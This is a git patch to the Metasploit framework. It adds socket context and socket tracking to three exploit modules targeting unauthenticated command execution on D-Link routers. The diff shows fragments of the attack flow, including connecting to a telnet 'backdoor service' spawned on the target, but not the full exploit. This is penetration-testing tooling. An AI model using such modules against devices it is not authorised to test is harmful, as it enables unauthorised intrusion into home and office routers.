From 61ab0e245cf5fa1c35fbcd34fbbb1e5ab26e22bf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Sep 2013 12:39:08 -0500 Subject: [PATCH] Add Context to rex sockets plus track them with add_socket --- modules/exploits/linux/http/dlink_command_php_exec_noauth.rb | 5 ++++- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 5 ++++- .../exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb | 5 ++++- 3 files changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 8faa3859ba..6eae90fe16 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -88,12 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote request(cmd) print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end + add_socket(sock) + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 48ac991237..43a1c3b591 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -139,12 +139,15 @@ class Metasploit3 < Msf::Exploit::Remote request(cmd) print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) if sock.nil? fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end + add_socket(sock) + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 70395898a4..886917b445 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -95,12 +95,15 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end + add_socket(sock) + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil?